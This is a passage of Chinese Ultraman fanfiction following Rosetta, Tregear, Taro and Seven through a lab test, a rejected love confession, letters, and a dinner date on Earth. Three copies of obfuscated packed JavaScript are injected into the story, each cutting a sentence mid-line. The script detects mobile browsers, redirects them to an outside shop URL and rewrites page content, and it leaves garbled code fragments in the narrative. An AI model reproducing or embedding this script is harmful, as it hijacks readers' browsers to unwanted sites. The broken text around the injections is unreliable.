实验室的天花板是幽绿色的,金色的流光在透明的建筑夹层之间来回反射,看久了有些像星空。罗塞塔躺在实验台上,她感受到托雷基亚的指尖有些凉,贴合着腰侧的弧度划过,向下触摸,他慢慢地把磁性电极片一个一个地贴在她的身上。数量庞大的数据线连接着蓝族和机器,这个场景让托雷基亚回忆起在伽农的生命之树下,罗塞塔以自身为媒介下载数据的场景。在结束战斗后,托雷基亚不禁产生疑问,【高斯】和【戴拿】就算了,为什么罗塞塔的灵魂没有被战争女王吞噬?为什么她能够做到强行下载灵魂?他回到光之国后去查询好友的出生记录,孤儿院显示是一个穿着斗篷的老人把罗塞塔的奥特胶囊放在育婴室,这很奇怪,怎么会有同族会在光之国里遮掩身份。 因为头上和脖子上也有贴片,罗塞塔只能仰着头问:“读数有什么问题吗?” “没有,倒不如说,稳定得有点可怕。” 托雷基亚回答,他注视悬浮光屏上的函数图,无论施加多少种影响源,一根笔直的横线都倔强地屹立在原地。这说明罗塞塔的光芒有极大的惰性,几乎不被任何物质影响,这种稳定在另一种意义上就是失去了成长性,因此她不能通过锻炼增加力量,同时能够对于能量进行精密的操作。虽然蓝族的光能量波长大多数都有这样的特质,但是罗塞塔的特质过于明显,遗传的随机性真的能创造出如此完美的“容器体质”吗?作为容器的性质就是要坚固恒定,不与内容物反应。好像有神明对罗塞塔下达重重限制,因此她一生都只能以这个姿态存活。 “这样对于星云粒子转化系统会有什么影响?” “只要有数据都可以用。” “罗塞塔,我想抽取一些光粒子样本留作研究,可以吗?” “如果是托雷的话,可以哦。” 躺在实验台的蓝族伸出手臂,翻开柔嫩的内侧。托雷基亚小心压住好友的手肘,刺入采血针,金色的光子血液盈满针筒后他停止抽取。在针孔上贴了一块医用胶布止血。 检查结束,罗塞塔坐起来,把身上的电极片取下来。托雷基亚把罗塞塔的数据导入星云粒子转化系统后,把做成雕花手镯样式的装置捧到她的面前,示意罗塞塔伸出手。他小心地把银白色的手镯戴上那只纤细的手腕,咔哒一声扣好。手镯表面的花纹闪过流光,匹配到罗塞塔的光芒后绑定成功。罗塞塔像个收到新奇礼物的孩子,抬起手腕欣赏这个漂亮的饰品,她看见手镯表面的花纹里蚀刻着制造者的名字:托雷基亚。女孩愉快地说:“我要给它起一个名字,就叫【托雷基亚的守护】。” “这个名字已经和星云粒子转化系统差不多长了吧,而且用我的名字也太难为情了。”托雷基亚感觉自己的脸有点发热,他害羞地别过头:“换一个吧,不如就叫【双星之约】。你要和我约好,不论发生什么,我们都要一起活下去。” “不要说这种FLAG一样的话啊,太不吉利了。不过名字是好名字,我采纳了。”罗塞塔放下手问,“星云粒子转化系统应该不止给我做了吧,泰罗的那一份给他了吗?” “我从银十字调取了泰罗的身体数据,下午我会去找他的。”托雷基亚说。在经历了伽农的地狱副本后,他就一直很焦虑。比起希卡利选择的保存生命,他的设想是一开始就不要死。星云粒子转化系统能够在奥特曼濒死的时候把光粒子转化成宇宙的基本组成粒子——星云粒子,然后存储起来。直到遇到其他的生命体,奥特曼就可以通过转化系统安全地使用量子构造不同的生命体的□□战斗,双方都能保持各自的独立性。简单来说,就是奥特曼强行同体,而不会一心。是一个超级实用的保命神器。 “你去找泰罗玩吧,下午我还有工作。”罗塞塔轻巧地跳下实验台,穿上白色的制服。托雷基亚看着好友离去的背影,没有说出口的是:不是他主动找泰罗,而是泰罗主动约他出去,还特意叮嘱,不要带上罗塞塔。 奇怪,泰罗找我干什么呢? 约定的地点在第二火花塔,托雷基亚没有选择直接飞上去,而是迈上螺旋的阶梯,一步一步地向塔顶攀登。他在思考,一会见到泰罗的时候该说些什么。泰罗,一想到那个光辉灿烂的红色身影,他的内心不由自主地变得柔软和喜悦起来。自从加入科技局后,他就很少和泰罗碰面,听说宇宙警备队的任务繁忙又危险,泰罗总是带着伤回来。以前他会去找罗塞塔治疗,现在罗塞塔来科技局工作,泰罗只能一个人孤零零地去找别的医生。想到这里,他忍不住感到心疼和一种微妙的心虚,他和罗塞塔好像无意间孤立了泰罗。 不过像泰罗那样热情开朗的人,在别的地方也会有很多新朋友吧。 他走到了塔顶,在高处的平台上,坐着那个红色的身影,和记忆中一样活泼健气。托雷基亚下意识地喊出声:“泰罗!” “哟!托雷,来这里!” 长着奥特天线的红族笑着回头,朝朋友挥了挥手。托雷基亚小跑着到他的身边坐下,他们一起在高塔上俯瞰光之国。红族的声音很欢快:“好久没见面了,托雷。见到你我超高兴的哦!最近在做些什么呢?” “还是老样子,工作,考察,发明。科考的时候遇到了怪兽,还好我和罗塞塔打赢了,顺利回来。” “怪兽吗?听起来真危险,那个时候,要是我在你们身边就好了,我就可以保护你们了。” “保护吗……” 托雷基亚抓紧手指,他想听的不是这个,他不想要被任何人保护,不要无可奈何地站在电车轨道上被拯救,他也想要做能够守护他人的存在。 泰罗转过头,金色的六边形眼灯像是上好的黄水晶一样美丽。他注视着托雷基亚的脸,好像在思考什么:“我有事情想要和你说。” “我也有事情想找你。”托雷基亚想起了手上的星云粒子转化系统,他觉得今天是一个送礼物的好时机:“我有东西想要送给你。” “诶?是什么?” “这是星云粒子转化系统,可以把奥特曼变成星云粒子,储存在光饰钥匙里。用转化系统读取钥匙就可以借助量子构造不同的生命体在一定的时间中战斗。” “听起来好厉害,之后会普及吗?” “嗯,有打算普适化后量产,给每一个战士都配备。” “真是了不起的发明,托雷你果然聪明又能干啊!不过【星云粒子转化系统】这个名字太长啦,有没有考虑取一个短名字?” “……泰罗火花,如何?” “用我的名字吗?这样太让人不好意思了——”泰罗害羞了,他连忙摆了摆手,“换一个换一个!” “我觉得泰罗你的名字很合适啊。”托雷基亚看着脸红的泰罗,心情大好,“充满勇气热爱正义之人,这不是一个很好的寓意吗?” “托雷你不要打趣我啦,”泰罗捂住脸,他想起身后的火花塔,放下手说:“拥抱太阳的勇气之人,这个名字是不是更合适呢?” “泰迦火花吗?” 托雷基亚低头看向手上的泰迦火花。这的确也是一个很美好的名字,使用这个装置的每一个人都将怀着拥抱太阳的勇气。他把泰迦火花递给泰罗:“好,就按照你的意思来吧。这就是我要说的事情,泰罗想说什么?” 泰罗收下这份礼物,他的脸上出现了犹豫和羞涩的神色,红色的手指互相绞着,磨磨蹭蹭地掏出一张纸:“我……我要去和罗塞塔告白,请你帮我修改一下告白信。” “啊?” “这有什么奇怪的吗?罗塞塔又温柔又漂亮,她那么好,我……我就是喜欢她呀!罗塞塔喜欢漂亮的东西,我准备了玫瑰花和告白信。但是我感觉我写的不太好,托雷你的诗写得很好,我想请你帮我修改一下。” 托雷基亚感觉自己的心被浸泡在一汪酸涩的水里,闷闷的。当他注视自己的内心时,却不知道这份苦涩指向的是谁,是泰罗还是罗塞塔?天啊,为什么我最好的两个朋友会搞在一起?如果罗塞塔和泰罗在一起了,我们三人还能像以前一样做朋友吗?他有一种被抛弃的荒凉感,沉默地接过泰罗手中的告白信。 “托雷,你的脸色好差。”泰罗关注着好友的表情,于是他说出了更加逆天的发言,“如果你也喜欢罗塞塔,我们就一起去告白吧!无论罗塞塔选择谁,我都会为他祝福的!” 托雷基亚磨了磨牙说:“你为什么会这么想?” “因为你和罗塞塔好得就像一个人一样,罗塞塔明显很在乎你啊。诶,你不喜欢罗塞塔吗?” “……不要用【爱】这种单薄的词语定义我们的情感,那是对于我们之间关系的一种误解。”托雷基亚垂下目光阅读纸上质朴却真挚的话语,他不高兴地说:“我和罗塞塔,是同一种火焰煅烧出的两枚结晶;是神劈开天空后渴求弥合的昼与夜;是晚春湖畔的水仙与它的倒影;是承诺过永不分离的半身。我相信即使有一天群星熄灭,宇宙热寂,我们也不会松开彼此的手。” 这一串诗歌般的长难句把泰罗给绕晕了,他看着托雷基亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648372|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着他的信涂涂改改,敬畏地想,托雷基亚真是太有文化了。泰罗从那些比喻句中提炼出一个中心思想:你自己去告白。 “我改好了,带着我的帮助去吧。”天蓝色的奥特曼把信纸重重拍在红族身上,扭头就走。泰罗摸了摸自己的角,感激地对好友说:“谢谢你,托雷!” 泰罗带着友人的祝福(?)向爱情冲锋了!他把罗塞塔约到一颗漂亮的小行星上,捧着一大束红色的玫瑰花,抑扬顿挫地念起精心准备的台词。罗塞塔被拉出来的时候还有些疑惑,看到泰罗的举动才恍然大悟,原来之前泰罗不停地送她礼物,有事没事跑过来找她,是在追求她啊。 挺可爱的。 泰罗红着脸说完了表白,过程中罗塞塔一直微笑着注视着他,他觉得那是一种鼓励。于是喜悦像碳酸饮料一样在脑海中摇晃,炸出噼里啪啦的小气泡。他最后大声说:“我喜欢你,罗塞塔,请和我在一起吧!” “嗯……”罗塞塔抱着双臂,笑吟吟地说,“告白的文字有托雷的风格呢,是你们一起写的吗?” 这这这,被看出来了!泰罗背后流下冷汗,他尴尬地说:“是我写完请托雷修改的,绝对是我的真心!” “我知道。”罗塞塔继续说,“收集这么多玫瑰花不容易吧?这种植物娇贵又难养,也不是什么常见的品种,你真的很用心。” “那你喜欢吗?喜欢我吗?”泰罗忐忑地问。 “泰罗,我很感动你对我的爱。但是我对你并没有相同的感情。”罗塞塔温柔地说,“你是我珍视的同伴,我对你没有其他的想法。我相信有一天你会遇到属于你的真爱。会有那么一个人,为你心神摇曳情难自已;会和你撑起同一把伞涉过暴雨瓢泼的荒野;为你放下利刃心甘情愿低头认输。你是值得被爱的好人,我会祝福你得到幸福。” “所以对不起,我不能接受你的告白。” 泰罗呆呆地看着蓝族美丽的脸庞。说出这些话语的时候她的语气缱绻柔软,好像在念情诗。但是他被拒绝了,泰罗有些沮丧,浑身的亮度都调低了几度。但是他并没有表现出来,男子汉就是在被拒绝的时候也要保持风度,怎么能哭着让表白对象安慰?他努力保持着开朗的语气:“好、好的。没关系罗塞塔,谢谢你愿意听完我的告白。打扰到你了。” 他把玫瑰递过去:“这些花还是请你收下吧。花朵是无辜的,我希望你还是能够喜欢它们。” “嗯,我会好好照顾它们的。” 看见罗塞塔收下玫瑰,蓝色的双手捧起红色的花束。泰罗的心情又好了一些,果然漂亮的花就应该送给漂亮的蓝族,罗塞塔值得世界上所有的美丽之物。在失意地退场前,他仍心有不甘,小心翼翼地问:“那罗塞塔,如果你……不,我想问的是,你会喜欢上什么样的人呢?” 这一次蓝族思考的时间要比拒绝更长,她注视着泰罗的脸,心中出现的是另一张极为相似的面容。同样的六边形金色眼灯,同样的绿色艾梅利姆额灯。她想到星光流转下那张光辉的,慈爱的,锋利的脸庞,那场命运般的对答,毫无疑问的刹那间心动。她沉默着,轻轻吐出一个意想不到的名字:“……赛文。” 不是偏好的类型描述,不是模糊的性格定义,是一个确切存在的人。 “诶?!” 泰罗失魂落魄地回到第二奥特塔的高处,郁闷地把自己高大的身躯团成可怜的一小只。托雷基亚一看就知道他被罗塞塔拒绝了。他心里有些高兴,又觉得自己的高兴有些不道德,因此他决定安慰一下泰罗:“被拒绝了吗?泰罗,你没事吧?” 泰罗转过脸,在托雷基亚面前他总算能够放开所有的顾虑,他悲伤地说:“托雷!罗塞塔她喜欢的是我哥!” 托雷基亚心下有了猜测,他想到一张冷硬的凶恶面孔,为了验证那个不可思议的答案,他还是开口问:“哪一个?” “是我的表哥,赛文哥哥啊!” 噩梦成真了,托雷基亚也难受起来:“为什么是他啊?这还不如罗塞塔喜欢希卡利呢!都是年纪大的前辈,至少希卡利老师智慧又耐心。赛文前辈知道这件事吗?” “赛文哥哥不知道,罗塞塔说要对他保密,因为她还没有追到手。” 这下托雷基亚也不知道该说什么了,他和泰罗一起惆怅地看向塔外的风景。他们坐在高高的塔上,看碧绿的光之国一如既往的和平美丽,同族的身影像是飞鸟划过天空,风从四面八方吹来,像是某种无声的叹息,掠过两个失意的少年人脚边。 37. 星与宙之歌 (37) 一颗行星走完了又一圈公转轨迹,时间的印记被一支笔拓印在光屏上,行星观测员340号落下最后一笔,收起观测仪器。他回到临时驻点,等待下一个观测员来交接。如果用一个人类的职业来比喻,行星观测员就像驻扎在森林深处的护林员。他们居住在人迹罕至的雪林中,背着猎枪日复一日巡查广阔茂密的森林,维护森林的生态环境,还要防止狡猾的盗猎者来林中狩猎林中野兽。护林员是孤独的,只有半年一次来补充物资的卡车驶进深林的时候,他们才能与卡车司机谈起外界的消息。 观测行星的任务周期数以年计,赛文却很享受这样对于常人来说难以忍受的寂静和孤独,他本来就不擅长交谈,喜欢看星星,这样的生活对于他简直是天造地设的舒适区。他每天观测着这片辖区的星系,绘制星图,只觉得充实和快乐。今天是换班的日子,下一片需要他看护的星系是一个偏僻的地方——银河系。他的兄长奥特曼曾经和那里的一个本地生命进行一心同体,于是光之国将那片星系纳入观察名单,赛文主动接下这个任务。 “我是行星观测员417号,前辈,接下来由我交接您的工作。对了,这是捎给您的物品。” 新来的银族观测员和他握了握手,把一个箱子交给他。赛文点头道谢,坐上返回光之国的飞船。观测哨点一般都遥远又偏僻,所以当一个同族路过的时候,会顺手给观测员带点东西。如果有光之国的居民想要寄东西给观测员,所有出外勤的奥特曼都乐意帮忙。 赛文还没有拆开箱子就已经知道是谁寄来的,因为那个人经常这么做。初次收到一个巨大包裹的时候他还很惊讶,打开一看发现应该是某个人定时定量地给他寄东西,积攒了一段时间后就蔚为可观。他打开箱子,先拿出了随箱寄出的信件,署名果然是罗塞塔。 “ 火花历214年葡月24循环日 展信佳。 赛文,我看见你把怪兽胶囊委托给科技局维修。我已经修好了,并且对胶囊进行升级,升级内容为扩容空间和改进维生系统。胶囊已随信寄出,如有使用问题,请及时反馈。 火花历219年雾月15循环日 展信佳。 在外出考察的时候看见了有趣的怪兽,我想你也许会喜欢,我收录了它们的习性和分布地在《怪兽图鉴》第60次修订版中,你可以通过星网下载查看。不要担心,观察途中我与怪兽都没有受到伤害。 火花历304年霜月31循环日 展信佳。 随手做了一些装置,也许你用得上,寄给你了,就当帮我测试好了。有什么特别的需求可以找我定制。我看见你回信附上的星图了,很有趣的天体运动系统,休假的时候我会去那里游览。另,我没有总是陪老师加班,如果我不帮忙的话希卡利真的就下不了班了。 ………… 火花历306年获月01循环日 展信佳。 今朝此日,同祝卿卿。 冰魄长悬天河滨,素心皎皎濯世尘。 清辉一脉照彻处,山河万里共此轮。 愿为云阶司更人,夜阑抱影候玉宸。 风露渐深星渐隐,独守澄明待昼焚。 生日快乐,礼物见附件。 ………… 火花历311年雨月12循环日 ………… 火花历316年风月30循环日 …… ……” 赛文阅读着一封又一封信件,仿佛看见那个曾经教导过的蓝族沉静而温柔的面容,她在科技局的工作间隙写下文字,翩翩信语如芦花飞向星河的彼端。每一封信赛文都会回复,即使不擅长国文,写不出如罗塞塔一样隽永的字句,赛文也努力用并不优秀的文学素养回答。他会在同族离去的时候将回信交付,同时收下新的信件。这样的交流是有时差的,也是一种有趣的游戏,二人对此同样乐此不疲。但是这次就不必写回复了,因为他要回到光之国轮休,可以当面和罗塞塔聚会。 赛文想,罗塞塔在信中所说想要参观的恒星,今天就可以带她去看一看。当飞船航行至能够收到星网信号的地方的时候,赛文掏出光屏给罗塞塔发消息:“今天有休假吗?” 过了大概几秒,蓝族很快就回复了:“你今天要回光之国么?” “我有空,奥特港口见。” “欢迎回来。” 飞船落地的时候,他果然看见了那个蓝色的身影。比起印象中倔强的孩子,那已经是一株完全盛开的花朵,容光、艳光、或者剑光都可以用来描绘这个蓝族。她盈盈而立,恰如一把长剑在黑夜中出鞘。飞船的下降的气流吹过港口,纯白的角翼在微风中舒缓地飘动,罗塞塔抬起头看向天空的时候,她的目光如同春江涨水,何人能不被那盎然的绿意吞没? 他与她对视了。 那一刻天上的星轨轮转,光辉下坠,心跳声仿佛加速了一百倍,时间如黄沙从指尖流逝,昼夜自顾自交替,唯有他们的凝视是永恒的。 罗塞塔露出微笑:“好久不见,赛文。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648373|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,我回来了。”他回过神,却是在回答罗塞塔发给他的最后一条信息。蓝族对于他这错位的回答没有表现出诧异,她一向是一个善解人意的女孩,能够完美地解读出他表达出以及未能表达出的意思。他们在奥特港口并肩行走,熟悉得不像久别重逢,而是日夜相伴。罗塞塔问:“这一次休假有多久,有什么想去的地方吗?” “我接了去地球的任务,在出发之前大概有三个月的空闲时间。罗塞塔,你不是想要去看那颗恒星吗?我们走吧。” “现在?” “嗯。” 红族朝她伸出手,就像多年以前他带她去看玫瑰星云的那一天。她也如曾经那样,将手放在了那只红色的手中。他们再次来了一场说走就走的旅行,只身横渡浩荡的宇宙,在黑暗冰冷的深空中,只有交握的双手传递热量。 他们来晚了,那颗恒星已经走到生命尽头,熄灭坍缩成黑洞。曾经明亮灿烂的星星消失在黑色的视界中。赛文忽然有些手足无措,罗塞塔也许期待了这颗星星很久,但是他们来迟了。她会失望吗?赛文转过头去看蓝族的表情,发现她依然认真地注视着黑洞,好像那里面有什么他看不见的东西。 然后他听见了歌声。 真空中无法传声,奥特曼依靠光波交流。赛文确信,此时罗塞塔口中发出的波动一定是歌声。柔和的,婉转的,空灵的歌声。女孩在万丈虚空中对着吞噬一切的黑洞歌唱,那歌声像海的潮汐,像火花塔的辐光,像蝴蝶轻盈地落在花上……赛文倾听着,在歌声结束后说:“这是……” “是这颗星星坍缩后的引力波,是不是很像一首弦乐?” “嗯。很好听。” 他只能这样干巴巴地赞美这首令人感动的歌,只恨自己当初国文课上为什么要睡觉。罗塞塔对于唯一听众的反馈照单全收,她开心地笑起来:“我就知道你会喜欢的,这是星星的声音,是死去星体的余响。那是它千万年后的终局,因为熄灭了,所以当我们回忆起它曾经的光芒,那千万年的燃烧被这段旋律赋予了不一样的意义。” “今天我很高兴哦,看见了美丽的东西,谢谢你,赛文。” 美丽的只有死星吗?赛文看着女孩明媚的脸,出神地想。 这场不完美的旅途结束了,第二天,赛文收到了一个科技局寄过来的自动八音盒。他打开这个小巧精致的手工制品,盒子中有两个小小的雕塑,红族和蓝族排排坐着,齿轮在他们脚下旋转,八音盒叮叮咚咚地响起来。 星与宙之歌在他的心间奏响。 38. 告白之夜 (38) 罗塞塔正在走休假申请的流程,她在科技局加班三百年,攒下了很长时间的假期。她想了想,在申请时间那一栏先填了“一年“,然后签上自己的名字。通知同步抄送给托雷基亚和希卡利,希卡利秒速通过,坐在对面工位的托雷基亚抬起头,以一种了然的语气说:“上一次不带我休假是去找赛文约会,这一次也是吗?” “嗯。” “你已经给他写了上百年的信,坚持不懈地给他塞了无数的特制装备,他还没有意识到你在追求他吗?” “没关系,现在这样也很好。” “罗塞塔,就算是木头也该开花了,可是赛文前辈不是木头,他简直是科技局最硬的合金钢管!要不你还是考虑一下希卡利老师吧,他可是我们蓝族有名的帅奥,反正你们工作起来总是形影不离。” “我并没有对现在的进度感到不满哦?毕竟喜欢一个人是我自己的事情,就算赛文不喜欢我也没有关系。” “……我不理解,但是我会祝福你的。” “好啦,我明天要去地球。回来的时候会给你带伴手礼的,再见,托雷。” 她脱下身上白色的大褂,挂在实验室里,像一只快乐的小鸟,蹦蹦跳跳地走了。 “明天我会抵达地球,你愿意做我的导游吗?” 化名为诸星团的赛文在走神,他在想昨天晚上收到的消息。得知罗塞塔要来地球,他的第一反应是喜悦。随后想起光之国的战士守则,他义正言辞地回复:“干扰观测任务是违反规则的。” 罗塞塔回复了一个微笑的表情:“可是亲爱观测员先生,你真的在意那个守则吗?你可没有按照守则上报光之国调动警备队,而是作为奥特战士亲自帮助地球人打怪兽了呀。” “事急从权,我认为人类是值得我们保护的生命,我不能让地球被邪恶外星人侵略。” “我也一样。我是去考察边缘行星的。只是恰巧路过了地球,然后不小心在地球上停留了一会。这样听起来是不是要比你更加情有可原呢?” 赛文不禁露出了微笑,如果罗塞塔只是对地球好奇,来玩几天。他很高兴地带她认识这颗美丽的星球,还有这些可爱的地球人。虽然长着一张严肃的脸,但是他其实打小就叛逆,只做自己认为正确的事情。和所有兄弟打架,偷偷养小怪兽,在国文课上倒头就睡,战斗成绩满分却硬要报文职……赛文其实并没有看起来那么守规矩。聪明的罗塞塔早就看透他了,他们依靠这种无言的默契偷偷摸摸地合谋。赛文回复:“到达的时候记得变成地球人的样子。” “没问题。” 光屏暗了下去。光之国到地球的距离十分遥远,所以在赛文收到消息的时候罗塞塔应该早就出发了,按照蓝族的速度计算,他今晚就能见到罗塞塔。一整个白天他都在想着这件事情,第一次迫不及待地想要下班。 “团,今天很不对劲啊。是不是有情况?”奥特警备队的古桥茂队员拍了拍他的肩膀,“今天的工作已经全都完成了吗?是不是下班后有安排?” “茂,明天就是新年了,说不定团是想要陪陪家人呢。”活泼的曾我坐在滑轮办公椅上,转过身说:“团说以前一直生活在国外,难道是有亲人在国内吗?” “啊,这个……”诸星团犹豫了片刻,他的样子是参考一个名为“萨摩次郎”的勇敢青年变化的,为了加入地球的防卫组织给自己编造了一个“父母双亡,一直在世界各地冒险”的履历。为了和人设圆上,他也编造不出什么合适的瞎话。于是他将重要的信息模糊,实话实说:“是有一个后辈要来看望我。” “是以前的朋友吗?男性还是女性?” “是在国外读书的学妹,她一直在国外生活,对霓虹很好奇,趁着假期来这里玩几天。”诸星团绞尽脑汁给罗塞塔编造背景,光之国怎么不算一种外国呢?只不过外的有点远罢了。 “是女孩子啊……” 曾我和天城对视一眼,在彼此眼中看到了同样的意味深长。天城揶揄地说:“团,想必你们的关系一定很好了。” “她……是一个善解人意的后辈,对所有人都很温柔耐心。没有人会不喜欢她的。” “只是后辈吗?” “是啊,怎么了?”对于人类的八卦心理一无所知的单纯外星人问。 可是你提起那个女孩的时候,脸上露出了笑容,连自己都没发现呢。天城想,他决定为队友的感情助力一把,大手一挥:“既然如此,团你现在就回去准备吧,剩下的事情都交给我们。” “准备什么?”诸星团看着莫名兴奋起来的队友,不解地问。 “当然是换一身帅气的衣服去约……去见面啊!难得的见面怎么不能精心收拾自己呢?” 因为奥特曼根本不用穿衣服,衣物在光之国只是职业的象征,所以对此毫无意识地赛文茫然了。变成人类后他去拷贝了萨摩次郎的衣柜,他穿什么诸星团穿什么。平常忙于巡逻,就穿奥特警备队的制服,所以红色外星人的脑袋里根本没有打扮的概念。 “上次那件沙色的风衣就很不错哦,就穿那个吧!其他的……团你有这张脸就足够了,好了现在你该下班了。” 男队员们七手八脚地把诸星团从工作里推走,等正主一走,暗藏的兴奋就光明正大地摆出来。他们以开作战会议的专注开始计划:“我们之后要不要去偷看一眼,是什么样的女孩子让团期待了一天?” “这样不好吧。”尤里安奴说,她觉得这些男人太幼稚,“这也太侵犯个人隐私了。” “安奴你就不好奇吗?团实在是太神秘了,他好像知道很多东西,但是有时候又单纯得像一个孩子。如果今天不是出现了一个认识他的学妹,我都要怀疑团其实是天上掉下来的外星人了。” “对。你看那个学妹愿意从遥远的国外来看望团,明显是超在意团队员。我们跟过去不是为了看热闹,是为了在关键时刻帮助团把握机会!” “我们完全是关心团,想要帮助他啊。” “安奴也一起去吧?” “那今天谁在基地值班?” “咳。”假装工作很忙的桐山队长听了一耳朵大声密谋,他说:“今天是大晦日,我值夜,大家都早点回去。” “队长万岁!” 奥特警备队的队员即使在非工作时间也会携带通讯仪器,队友间可以看见互相的定位。他们在东京K地区的看见了团,穿着沙色的风衣的男人站在街边的路灯下。今夜有雪,细小的雪花从黑色的高空落下,被金色的路灯照得几乎透明,还未落在人的身上就化了。团专注地看着落雪,好像他要等的人是随雪降临的雪女。忽然,他将头转向某个方向。 他们看见一个少女朝男人走来。 她有一头鸦羽般的长发,简单地束成姬发式。一身月白色的缎面礼裙贴合女孩的身体曲线,那弧度优美犹如春山。裙摆长至膝盖,角落用银线绣着盛开的玉兰花。她穿着一双鹿皮高跟短靴,走起路来不是摇曳生姿而是泰然自若。当人们的目光从她的身体移开,去看她的脸的时候。所有人都会疑心这是花鸟风月画卷里的古代仕女走了出来,她的眼角点缀氤氲的绯红,唇染胭脂。顾盼之间好像一束天光降落,于是辉夜姬踏月而来。 “哇,是超级美少女。”曾我队员倒吸一口冷气。 他们看着少女和团走进一家五星级法式餐厅,团不断地说着话,而少女微笑着倾听。二人在奢华的餐厅里落座,穿着西装的侍应生为他们端上厨师精心摆盘的菜肴。尤里安奴的好奇心已经得到满足,她说:“我觉得团的约会很顺利,我们回去吧。” “为什么不坐下来和我们一起吃呢?” 一个熟悉的声音响起。八卦小队奥特警备队分队的成员都僵住了,他们回过头,看见诸星团站在面前疑惑地问。原来在餐厅的玻璃窗前坐下的时候,他就发现了鬼鬼祟祟的队友们。赛文觉得人类暗中关心他的样子很可爱,罗塞塔也一定会喜欢的。正好,他的队友看起来想要认识罗塞塔,大家完全可以坐在一起吃饭,这不是双倍的快乐吗? 团!你为什么会闪现啊! 天城在内心无声地尖叫,他试图体面地从别人的约会里面退出。但是诸星团已经用有力的大手拎住了哈基人的后颈,一手一个把距离最近的曾我和天城抓进餐厅,剩下的队员自然不能没有义气地抛弃伙伴,视死如归地走进这家看起来就很贵的餐厅。 他们换了一张更大的餐桌,在私密安静的角落,侍应生端上餐点后躬身退去,只有低低的钢琴奏声从远方传来。曾我感觉自己的脚趾已经抠出一座地下基地,他看着容貌绮丽的辉夜姬,尴尬地打个招呼:“美女、学妹、辉夜小姐……总之你好,我是团的同事曾我,很高兴认识你!” 在和朋友寒暄途中被加塞进几个陌生人的学妹小姐并没有表现出什么不满,她认真地注视着曾我年轻的脸,用流利的日语回答:“初次见面,我的名字是翠星亚理,你可以叫我亚理。” “亚理小姐的名字听起来像霓虹人,是在国外长大的混血儿吗?” “虽然名字的风格很像,不过我并没有霓虹血统,只是一个起名的巧合。” 罗塞塔微笑着回答,翠星指的是翡翠色的奥特之星。这个姓氏采用了和“诸星团”一样的取名思路。诸星团是来自群星间的旅人,翠星亚理就是奥特之星的女儿。亚理是她还是人类时候的名字,曾经每一个认识她的人都会问一句:“小周,你为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648374|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个日本名字呀?”还在读幼儿园的亚理也这样问母亲,母亲把她抱在膝头,一边教她认识琴键一边回答。 “囡囡,【亚】的意思是‘仅次于,接近’。例如孟子被称为【亚圣】,就是说明他是道德才智仅次于圣人的人。【理】是一个很好的字,代表着世界的规律。「凡天下一事一物,必推其情至于无憾而后极安,是之谓天理。」连起来的【亚理】就是你的名字,它的意思是——” “【格治万象,以达天理。】” 年幼的她还不甚理解母亲在这个名字里寄托的美好祝愿,只记得那一天她学会了弹《小星星》,小孩子一遍又一遍地按着琴键,窗外的茉莉花在枝头开放,清幽的香气沾在妈妈身上。 诸星团自豪地介绍了自己的天才后辈,他说亚理虽然年纪小,但是脑子聪明又努力,已经是一个很厉害的科学家了,还参与过一个很重大的项目。奥特警备队的队员们应和着聊了几轮,杯盏渐尽。安奴队员忽然站起来,她说自己喝的果汁有些多需要去一下洗手间,亚理你要不要和我一起去?罗塞塔愣了一下,人类喝了很多水确实应该上厕所,而且女生一起结伴去厕所再正常不过了。于是翠星亚理站起来,捋了捋裙摆的褶皱:“安奴小姐,我们一起走。” 唯二的两位女士离席后,男人们明显放松了不少。古桥茂想,就是现在,应该给团一点兄弟的帮助了。 他说:“团,你是不是瞎。” “什么?” “亚理小姐明显就是喜欢你啊,你看不出来吗?” “有吗?亚理就是人很好,给了我很多帮助。” 陪我看星星,给我写歌,一起养怪兽……嘶,我的天她好像真的喜欢我。诸星团后知后觉。 “你们今天的行程是什么?” “带她参观防卫队。” 队友恨铁不成钢地说:“你应该带她去约会,游乐园,烟花,东京塔,送定情信物然后表白!过一会我们马上就撤,记住了吗?” “……好,好的。” 另一边的尤里安奴也在助攻,她在洗手池前和亚理一起补妆。女孩子们交流了关于化妆品心得,安奴突然问:“亚理,你是不是喜欢团?” 乌发的少女注视着镜中人,好像在问自己:“我表现得很明显吗?” 安奴吃到真瓜了,她自得地说:“暗恋一个人是藏不住的,为了心上人盛装打扮,漂洋过海,只为在他身边短暂停留,这种感觉我少女时代也有哦。我看团心里也有你,他很期待你的到来。虽然说女孩子要矜持,但是主动出击也是少女的勇气啊。” 亚理说:“谢谢你的祝福,安奴姐姐,我希望你也能获得幸福。” 